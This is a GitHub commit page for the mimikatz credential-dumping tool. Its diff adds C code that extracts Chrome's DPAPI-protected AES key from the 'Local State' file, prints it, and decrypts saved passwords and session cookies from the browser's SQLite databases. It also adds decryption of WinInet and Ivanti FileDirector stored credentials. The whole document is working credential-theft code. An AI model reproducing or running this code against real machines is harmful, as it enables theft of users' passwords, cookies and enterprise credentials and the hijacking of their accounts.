Skip to content

Commit

Permalink
[new] dpapi::chrome supports AES-256-GCM decryption for new Logins & …
Browse files Browse the repository at this point in the history
…Cookies

[new] dpapi::cred & vault::cred now supports double DPAPI for INET & Ivanti credentials
  • Loading branch information
gentilkiwi committed Feb 8, 2020
1 parent 6972319 commit b098bf3
Show file tree
Hide file tree
Showing 7 changed files with 308 additions and 21 deletions.
205 changes: 191 additions & 14 deletions mimikatz/modules/dpapi/packages/kuhl_m_dpapi_chrome.c
Original file line number Diff line number Diff line change
Expand Up @@ -7,17 +7,30 @@

NTSTATUS kuhl_m_dpapi_chrome(int argc, wchar_t * argv[])
{
PCWSTR infile;
LPCWSTR infile, szKey;
PSTR aInfile;
int rc;
sqlite3 *pDb;
sqlite3_stmt * pStmt;
LPVOID pDataOut;
DWORD dwDataOutLen;
__int64 i64;
BYTE key[AES_256_KEY_SIZE];
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;

if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL))
{
if(kull_m_string_args_byName(argc, argv, L"key", &szKey, NULL))
{
if(kull_m_string_stringToHex(szKey, key, sizeof(key)))
kuhl_m_dpapi_chrome_alg_key_from_raw(key, &hAlg, &hKey);
else PRINT_ERROR(L"kull_m_string_stringToHex!\n");
}
else if(kull_m_string_args_byName(argc, argv, L"encryptedkey", &szKey, NULL))
kuhl_m_dpapi_chrome_alg_key_from_b64(szKey, argc, argv, &hAlg, &hKey);
else if(kull_m_string_args_byName(argc, argv, L"state", &szKey, NULL))
kuhl_m_dpapi_chrome_alg_key_from_file(szKey, TRUE, argc, argv, &hAlg, &hKey);
else kuhl_m_dpapi_chrome_alg_key_from_auto(infile, argc, argv, &hAlg, &hKey);

if(aInfile = kull_m_string_unicode_to_ansi(infile))
{
rc = sqlite3_initialize();
Expand All @@ -37,11 +50,7 @@ NTSTATUS kuhl_m_dpapi_chrome(int argc, wchar_t * argv[])
sqlite3_column_bytes(pStmt, 0), sqlite3_column_text(pStmt, 0),
sqlite3_column_bytes(pStmt, 1), sqlite3_column_text(pStmt, 1),
sqlite3_column_bytes(pStmt, 2), sqlite3_column_text(pStmt, 2));
if(kuhl_m_dpapi_unprotect_raw_or_blob(sqlite3_column_blob(pStmt, 3), sqlite3_column_bytes(pStmt, 3), NULL, argc, argv, NULL, 0, &pDataOut, &dwDataOutLen, NULL))
{
kprintf(L"Password: %.*S\n", dwDataOutLen, pDataOut);
LocalFree(pDataOut);
}
kuhl_m_dpapi_chrome_decrypt(sqlite3_column_blob(pStmt, 3), sqlite3_column_bytes(pStmt, 3), hAlg, hKey, argc, argv, L"Password");
}
if(rc != SQLITE_DONE)
PRINT_ERROR(L"sqlite3_step: %S\n", sqlite3_errmsg(pDb));
Expand All @@ -60,7 +69,6 @@ NTSTATUS kuhl_m_dpapi_chrome(int argc, wchar_t * argv[])
sqlite3_column_bytes(pStmt, 0), sqlite3_column_text(pStmt, 0),
sqlite3_column_bytes(pStmt, 1), sqlite3_column_text(pStmt, 1),
sqlite3_column_bytes(pStmt, 2), sqlite3_column_text(pStmt, 2));

i64 = sqlite3_column_int64(pStmt, 3) * 10;
kull_m_string_displayLocalFileTime((LPFILETIME) &i64);
i64 = sqlite3_column_int64(pStmt, 4) * 10;
Expand All @@ -70,11 +78,7 @@ NTSTATUS kuhl_m_dpapi_chrome(int argc, wchar_t * argv[])
kull_m_string_displayLocalFileTime((LPFILETIME) &i64);
}
kprintf(L"\n");
if(kuhl_m_dpapi_unprotect_raw_or_blob(sqlite3_column_blob(pStmt, 5), sqlite3_column_bytes(pStmt, 5), NULL, argc, argv, NULL, 0, &pDataOut, &dwDataOutLen, NULL))
{
kprintf(L"Cookie: %.*S\n", dwDataOutLen, pDataOut);
LocalFree(pDataOut);
}
kuhl_m_dpapi_chrome_decrypt(sqlite3_column_blob(pStmt, 5), sqlite3_column_bytes(pStmt, 5), hAlg, hKey, argc, argv, L"Cookie");
}
if(rc != SQLITE_DONE)
PRINT_ERROR(L"sqlite3_step: %S\n", sqlite3_errmsg(pDb));
Expand All @@ -91,6 +95,7 @@ NTSTATUS kuhl_m_dpapi_chrome(int argc, wchar_t * argv[])
else PRINT_ERROR(L"sqlite3_initialize: 0x%08x\n", rc);
LocalFree(aInfile);
}
kuhl_m_dpapi_chrome_free_alg_key(&hAlg, &hKey);
}
else PRINT_ERROR(L"Input \'Login Data\' file needed (/in:\"%%localappdata%%\\Google\\Chrome\\User Data\\Default\\Login Data\")\n");
return STATUS_SUCCESS;
Expand All @@ -117,4 +122,176 @@ BOOL kuhl_m_dpapi_chrome_isTableExist(sqlite3 *pDb, const char *table)
else PRINT_ERROR(L"sqlite3_prepare_v2: %S\n", sqlite3_errmsg(pDb));
sqlite3_finalize(pStmt);
return status;
}

const BYTE KUHL_M_DPAPI_CHROME_UNKV10[] = {'v', '1', '0'};
void kuhl_m_dpapi_chrome_decrypt(LPCVOID pData, DWORD dwData, BCRYPT_ALG_HANDLE hAlg, BCRYPT_KEY_HANDLE hKey, int argc, wchar_t * argv[], LPCWSTR type)
{
LPVOID pDataOut;
DWORD dwDataOutLen;
NTSTATUS nStatus;
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO info;
if((dwData >= sizeof(KUHL_M_DPAPI_CHROME_UNKV10)) && RtlEqualMemory(pData, KUHL_M_DPAPI_CHROME_UNKV10, sizeof(KUHL_M_DPAPI_CHROME_UNKV10)))
{
if(hAlg && hKey)
{
kprintf(L" * using BCrypt with AES-256-GCM\n");
BCRYPT_INIT_AUTH_MODE_INFO(info);
info.pbNonce = (PBYTE) pData + sizeof(KUHL_M_DPAPI_CHROME_UNKV10);
info.cbNonce = 12;
info.pbTag = info.pbNonce + dwData - (sizeof(KUHL_M_DPAPI_CHROME_UNKV10) + AES_BLOCK_SIZE); //
info.cbTag = AES_BLOCK_SIZE; //
dwDataOutLen = dwData - sizeof(KUHL_M_DPAPI_CHROME_UNKV10) - info.cbNonce - info.cbTag;
if(pDataOut = LocalAlloc(LPTR, dwDataOutLen))
{
nStatus = BCryptDecrypt(hKey, info.pbNonce + info.cbNonce, dwDataOutLen, &info, NULL, 0, (PUCHAR) pDataOut, dwDataOutLen, &dwDataOutLen, 0);
if(NT_SUCCESS(nStatus))
kprintf(L"%s: %.*S\n", type, dwDataOutLen, pDataOut);
else PRINT_ERROR(L"BCryptDecrypt: 0x%08x\n", nStatus);
LocalFree(pDataOut);
}
}
else PRINT_ERROR(L"No Alg and/or Key handle despite AES encryption\n");
}
else if(kuhl_m_dpapi_unprotect_raw_or_blob(pData, dwData, NULL, argc, argv, NULL, 0, &pDataOut, &dwDataOutLen, NULL))
{
kprintf(L"%s: %.*S\n", type, dwDataOutLen, pDataOut);
LocalFree(pDataOut);
}
}

void kuhl_m_dpapi_chrome_free_alg_key(BCRYPT_ALG_HANDLE *hAlg, BCRYPT_KEY_HANDLE *hKey)
{
if(hAlg)
if(*hAlg)
{
BCryptCloseAlgorithmProvider(*hAlg, 0);
*hAlg = NULL;
}
if(hKey)
if(*hKey)
{
BCryptDestroyKey(*hKey);
*hKey = NULL;
}
}

BOOL kuhl_m_dpapi_chrome_alg_key_from_raw(BYTE key[AES_256_KEY_SIZE], BCRYPT_ALG_HANDLE *hAlg, BCRYPT_KEY_HANDLE *hKey)
{
BOOL status = FALSE;
NTSTATUS nStatus;
*hAlg = NULL;
*hKey = NULL;

__try
{
nStatus = BCryptOpenAlgorithmProvider(hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
if(NT_SUCCESS(nStatus))
{
nStatus = BCryptSetProperty(*hAlg, BCRYPT_CHAINING_MODE, (PUCHAR) BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
if(NT_SUCCESS(nStatus))
{
nStatus = BCryptGenerateSymmetricKey(*hAlg, hKey, NULL, 0, key, AES_256_KEY_SIZE, 0);
if(NT_SUCCESS(nStatus))
status = TRUE;
else PRINT_ERROR(L"BCryptGenerateSymmetricKey: 0x%08x\n", nStatus);
}
else PRINT_ERROR(L"BCryptSetProperty: 0x%08x\n", nStatus);
if(!status)
kuhl_m_dpapi_chrome_free_alg_key(hAlg, hKey);
}
else PRINT_ERROR(L"BCryptOpenAlgorithmProvider: 0x%08x\n", nStatus);
}
__except(GetExceptionCode() == ERROR_DLL_NOT_FOUND)
{
PRINT_ERROR(L"No CNG\n");
}

return status;
}

const BYTE KUHL_M_DPAPI_CHROME_DPAPI[] = {'D', 'P', 'A', 'P', 'I'};
BOOL kuhl_m_dpapi_chrome_alg_key_from_b64(LPCWSTR base64, int argc, wchar_t * argv[], BCRYPT_ALG_HANDLE *hAlg, BCRYPT_KEY_HANDLE *hKey)
{
BOOL status = FALSE;
PBYTE keyWithHeader, rawKey;
DWORD dwKeyWithHeader, dwRawKey;

if(kull_m_string_quick_base64_to_Binary(base64, &keyWithHeader, &dwKeyWithHeader))
{
if((dwKeyWithHeader >= sizeof(KUHL_M_DPAPI_CHROME_DPAPI)) && RtlEqualMemory(keyWithHeader, KUHL_M_DPAPI_CHROME_DPAPI, sizeof(KUHL_M_DPAPI_CHROME_DPAPI)))
{
kprintf(L"> Encrypted Key seems to be protected by DPAPI\n");
if(kuhl_m_dpapi_unprotect_raw_or_blob(keyWithHeader + sizeof(KUHL_M_DPAPI_CHROME_DPAPI), dwKeyWithHeader - sizeof(KUHL_M_DPAPI_CHROME_DPAPI), NULL, argc, argv, NULL, 0, (LPVOID *) &rawKey, &dwRawKey, NULL))
{
if(dwRawKey == AES_256_KEY_SIZE)
{
kprintf(L"> AES Key is: ");
kull_m_string_wprintf_hex(rawKey, AES_256_KEY_SIZE, 0);
kprintf(L"\n");
status = kuhl_m_dpapi_chrome_alg_key_from_raw(rawKey, hAlg, hKey);
}
else PRINT_ERROR(L"Key size: %u (needs %u)\n", dwRawKey, AES_256_KEY_SIZE);
LocalFree(rawKey);
}
}
else PRINT_ERROR(L"Bad header\n");
LocalFree(keyWithHeader);
}
else PRINT_ERROR_AUTO(L"kull_m_string_quick_base64_to_Binary");
return status;
}

BOOL kuhl_m_dpapi_chrome_alg_key_from_file(LPCWSTR szState, BOOL forced, int argc, wchar_t * argv[], BCRYPT_ALG_HANDLE *hAlg, BCRYPT_KEY_HANDLE *hKey)
{
BOOL status = FALSE;
PBYTE data;
DWORD dwData;
wchar_t *uData, *begin, *end;
if(kull_m_file_readData(szState, &data, &dwData))
{
if(uData = kull_m_string_qad_ansi_c_to_unicode((const char *) data, dwData))
{
if(begin = wcsstr(uData, L"\"os_crypt\":{\"encrypted_key\":\""))
{
begin += 29;
if(end = wcsstr(begin, L"\"}"))
{
end = L'\0';
kprintf(L"> Encrypted Key found in local state file\n");
status = kuhl_m_dpapi_chrome_alg_key_from_b64(begin, argc, argv, hAlg, hKey);
}
else PRINT_ERROR(L"Unable to find the end of the encrypted_key\n");
}
else if(forced) PRINT_ERROR(L"encrypted_key not fond in state file.\n");
LocalFree(uData);
}
LocalFree(data);
}
else if(forced) PRINT_ERROR_AUTO(L"kull_m_file_readData");
return status;
}

BOOL kuhl_m_dpapi_chrome_alg_key_from_auto(LPCWSTR szFile, int argc, wchar_t * argv[], BCRYPT_ALG_HANDLE *hAlg, BCRYPT_KEY_HANDLE *hKey)
{
BOOL status = FALSE;
wchar_t *duplicate, *pe, *tentative;
if(szFile && (duplicate = _wcsdup(szFile)))
{
if(pe = wcsrchr(duplicate, L'\\'))
{
*pe = L'\0';
if(pe = wcsrchr(duplicate, L'\\'))
{
*pe = L'\0';
if(kull_m_string_sprintf(&tentative, L"%s\\Local State", duplicate))
{
status = kuhl_m_dpapi_chrome_alg_key_from_file(tentative, FALSE, argc, argv, hAlg, hKey);
LocalFree(tentative);
}
}
}
free(duplicate);
}
return status;
}
8 changes: 7 additions & 1 deletion mimikatz/modules/dpapi/packages/kuhl_m_dpapi_chrome.h
Original file line number Diff line number Diff line change
Expand Up @@ -8,4 +8,10 @@
#include "../modules/sqlite3.h"

NTSTATUS kuhl_m_dpapi_chrome(int argc, wchar_t * argv[]);
BOOL kuhl_m_dpapi_chrome_isTableExist(sqlite3 *pDb, const char *table);
BOOL kuhl_m_dpapi_chrome_isTableExist(sqlite3 *pDb, const char *table);
void kuhl_m_dpapi_chrome_decrypt(LPCVOID pData, DWORD dwData, BCRYPT_ALG_HANDLE hAlg, BCRYPT_KEY_HANDLE hKey, int argc, wchar_t * argv[], LPCWSTR type);
void kuhl_m_dpapi_chrome_free_alg_key(BCRYPT_ALG_HANDLE *hAlg, BCRYPT_KEY_HANDLE *hKey);
BOOL kuhl_m_dpapi_chrome_alg_key_from_raw(BYTE key[AES_256_KEY_SIZE], BCRYPT_ALG_HANDLE *hAlg, BCRYPT_KEY_HANDLE *hKey);
BOOL kuhl_m_dpapi_chrome_alg_key_from_b64(LPCWSTR base64, int argc, wchar_t * argv[], BCRYPT_ALG_HANDLE *hAlg, BCRYPT_KEY_HANDLE *hKey);
BOOL kuhl_m_dpapi_chrome_alg_key_from_file(LPCWSTR szState, BOOL forced, int argc, wchar_t * argv[], BCRYPT_ALG_HANDLE *hAlg, BCRYPT_KEY_HANDLE *hKey);
BOOL kuhl_m_dpapi_chrome_alg_key_from_auto(LPCWSTR szFile, int argc, wchar_t * argv[], BCRYPT_ALG_HANDLE *hAlg, BCRYPT_KEY_HANDLE *hKey);
35 changes: 33 additions & 2 deletions mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c
Original file line number Diff line number Diff line change
Expand Up @@ -165,22 +165,54 @@ void kuhl_m_dpapi_cred_tryEncrypted(LPCWSTR target, LPCBYTE data, DWORD dataLen,
{
PVOID cred;
DWORD credLen;
PKULL_M_CRED_APPSENSE_DN pAppDN;
if(wcsstr(target, L"Microsoft_WinInet_"))
{
if(dataLen >= (DWORD) FIELD_OFFSET(KULL_M_DPAPI_BLOB, dwMasterKeyVersion))
{
if(RtlEqualGuid(data + sizeof(DWORD), &KULL_M_DPAPI_GUID_PROVIDER))
{
kprintf(L"\n");
if(kuhl_m_dpapi_unprotect_raw_or_blob(data, dataLen, NULL, argc, argv, KULL_M_CRED_ENTROPY_CRED_DER, sizeof(KULL_M_CRED_ENTROPY_CRED_DER), &cred, &credLen, L"Decrypting additional blob\n"))
{
kprintf(L" CredentialBlob: ");
kull_m_string_printSuspectUnicodeString(cred, credLen);
kprintf(L"\n");
LocalFree(cred);
}
}
}
}
else if(wcsstr(target, L"AppSense_DataNow_"))
{
kprintf(L"\n* Ivanti FileDirector credential blob *\n");
if(dataLen >= FIELD_OFFSET(KULL_M_CRED_APPSENSE_DN, data))
{
pAppDN = (PKULL_M_CRED_APPSENSE_DN) data;
if(!strcmp("AppN_DN_Win", pAppDN->type))
{
if(pAppDN->credBlobSize)
{
if(kuhl_m_dpapi_unprotect_raw_or_blob(pAppDN->data, pAppDN->credBlobSize, NULL, argc, argv, NULL, 0, &cred, &credLen, L"Decrypting additional blob\n"))
{
kprintf(L" CredentialBlob: ");
kull_m_string_printSuspectUnicodeString(cred, credLen);
kprintf(L"\n");
LocalFree(cred);
}
}
if(pAppDN->unkBlobSize)
{
if(kuhl_m_dpapi_unprotect_raw_or_blob(pAppDN->data + pAppDN->credBlobSize, pAppDN->unkBlobSize, NULL, argc, argv, NULL, 0, &cred, &credLen, L"Decrypting additional blob\n"))
{
kprintf(L" UnkBlob : ");
kull_m_string_printSuspectUnicodeString(cred, credLen);
kprintf(L"\n");
LocalFree(cred);
}
}
}
}
}
}

BOOL kuhl_m_dpapi_vault_key_type(PKULL_M_CRED_VAULT_CREDENTIAL_ATTRIBUTE attribute, HCRYPTPROV hProv, BYTE aes128[AES_128_KEY_SIZE], BYTE aes256[AES_256_KEY_SIZE], HCRYPTKEY *hKey, BOOL *isAttr)
Expand All @@ -195,7 +227,6 @@ BOOL kuhl_m_dpapi_vault_key_type(PKULL_M_CRED_VAULT_CREDENTIAL_ATTRIBUTE attribu
calgId = CALG_AES_128;
key = aes128;
keyLen = AES_128_KEY_SIZE;

}
else
{
Expand Down
Loading

0 comments on commit b098bf3

Please sign in to comment.